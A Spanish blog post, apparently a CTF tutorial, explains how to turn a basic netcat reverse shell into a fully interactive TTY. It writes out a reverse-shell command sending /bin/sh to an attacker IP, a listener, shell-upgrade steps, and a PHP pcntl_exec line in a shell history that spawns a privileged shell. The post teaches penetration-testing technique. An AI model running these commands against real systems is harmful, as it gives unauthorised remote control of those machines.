Post

Domina el TTY: Tu Guía para Explotar Shells Durante CTFs

¡Bienvenidos a nuestro tutorial sobre TTY en contextos de CTF! ¿Alguna vez hemos logrado acceder a una shell durante un CTF y nos hemos encontrado con que es casi inutilizable? Aquí vamos a mostrar cómo podemos mejorar nuestra experiencia y hacer nuestra shell mucho más interactiva y funcional.

¿Qué es el TTY y por qué es importante?

El TTY (abreviatura de teletypewriter) se refiere a la terminal en la que interactuamos con nuestro sistema. Cuando explotamos una vulnerabilidad y obtenemos acceso a una shell, a menudo es básica y limitada. Mejorar esta shell con un tratamiento adecuado de TTY puede transformar nuestra experiencia, permitiéndonos interactuar con el sistema objetivo como si estuviéramos trabajando directamente desde su consola.

Ejemplo sin TTY: Reverse shell Básica

Supongamos que hemos lanzado una reverse shell con este comando desde la máquina objetivo:

1
nc -e /bin/sh 192.168.1.100 5555

Y nuestra máquina atacante está escuchando con:

1
nc -lvnp 5555

Una vez que la conexión se establece, aquí está lo que enfrentamos:

No hay autocompletado: Al presionar Tab para completar comandos o nombres de archivos simplemente no funciona. Ejemplo:

1
cd /sys/ker	    aa

No podemos limpiar la pantalla: Los comandos como clear no funcionan, dejando la sesión visualmente desordenada. Ejemplo:

1
2
clear
TERM environment variable not set.

Control de señales deficiente: Intentar detener un proceso con Ctrl+C cerrará la shell. Ejemplo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lrwxrwxrwx   1 root root     7 jun  6 09:10 bin -> usr/bin
drwxr-xr-x   3 root root  4096 jun  6 09:14 boot
drwxr-xr-x  17 root root  3260 jun 12 20:13 dev
drwxr-xr-x  76 root root  4096 jun 12 20:53 etc
drwxr-xr-x   3 root root  4096 jun  6 10:42 home
lrwxrwxrwx   1 root root    30 jun  6 09:12 initrd.img -> boot/initrd.img-6.1.0-21-amd64
lrwxrwxrwx   1 root root    30 jun  6 09:11 initrd.img.old -> boot/initrd.img-6.1.0-18-amd64
lrwxrwxrwx   1 root root     7 jun  6 09:10 lib -> usr/lib
lrwxrwxrwx   1 root root     9 jun  6 09:10 lib64 -> usr/lib64
drwx------   2 root root 16384 jun  6 09:10 lost+found
drwxr-xr-x   3 root root  4096 jun  6 09:10 media
drwxr-xr-x   2 root root  4096 jun  6 09:10 mnt
drwxr-xr-x   3 root root  4096 jun  6 11:05 opt
dr-xr-xr-x 229 root root     0 jun 12 20:12 proc
drwx------   4 root root  4096 jun  6 11:31 root
drwxr-xr-x  19 root root   620 jun 12 20:13 run
lrwxrwxrwx   1 root root     8 jun  6 09:10 sbin -> usr/sbin
drwxr-xr-x   3 root root  4096 jun  6 10:28 srv
dr-xr-xr-x  13 root root     0 jun 12 20:12 sys
drwxrwxrwt  10 root root  4096 jun 12 20:39 tmp
drwxr-xr-x  12 root root  4096 jun  6 09:10 usr
drwxr-xr-x  12 root root  4096 jun  6 09:19 var
lrwxrwxrwx   1 root root    27 jun  6 09:12 vmlinuz -> boot/vmlinuz-6.1.0-21-amd64
lrwxrwx: not foundt root    27 jun  6 09:11 vmlinuz.old -> boot/vmlinuz-6.1.0-18-amd64
^[[A^[[A
sh: 7: 
^C
    ~  ✘ 1  took  42s  

Caracteres extraños al navegar por el historial: Las flechas del teclado generan caracteres como ^[[A [[2~^[[H ^[[B. Ejemplo:

1
^[[A^[[A^[[B^[[C^[[D^[[C^[[B^[[D^[[C^[[A^[[D^[^[[C^[[A^[[D^[[2~^[[H

Esta situación, aunque funcional, está lejos de ser ideal. En la siguiente sección, vamos a mostrar cómo podemos transformar esta experiencia básica en algo mucho más poderoso.

Mejorando la Experiencia: Uso de TTY en Reverse shell

Ahora que tenemos una conexión de shell básica, vamos a transformarla en una interfaz completamente interactiva. Aquí te mostramos cómo podemos lograr una experiencia de shell completa, utilizando el método script para simular un TTY:

Asegurar una conexión básica:

Nos aseguramos de que tenemos una shell básica corriendo como la que hemos establecido previamente con Netcat.

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

1
script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

1
Control+Z 

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

1
stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

1
reset

Configura el tipo de terminal:

1
2
3
xterm
export TERM=xterm
export SHELL=bash

Ajustar dimensiones del terminal

Ajustamos las dimensiones de la terminal para mostrar la información correctamente:

1
stty rows 52 columns 187

Confirmamos que ahora si tenemos una Shell lista para trabajar!

Dimensiones en VI Dimensiones VI

control + C , no salimos de la Shell

1
2
3
4
5
6
7
jenkins@find-me:~$ ^C
jenkins@find-me:~$ ^C
jenkins@find-me:~$ ^C
jenkins@find-me:~$ ^C
jenkins@find-me:~$ ^C
jenkins@find-me:~$ ^C

Podemos visualizar history

1
2
3
4
5
6
7
8
9
10
  13  /usr/bin/php8.2 -r "pcntl_exec('/bin/sh', ['-p']);"
   14  exit
   15  reset
   16  export TERM=xterm
   17  export SHELL=bash
   18  stty rows 52 columns 187
   19  vi
   20  clear
   21  history 
jenkins@find-me:~$ history 


Espero que os haya gustado esta guía y que os sea útil para mejorar vuestras habilidades en futuros CTFs. Seguid explorando y ajustando estos métodos según vuestras necesidades. Nos vemos pronto con más contenido que esperamos os ayude a seguir creciendo en este emocionante campo. ¡Hasta la próxima!

This post is licensed under CC BY 4.0 by the author.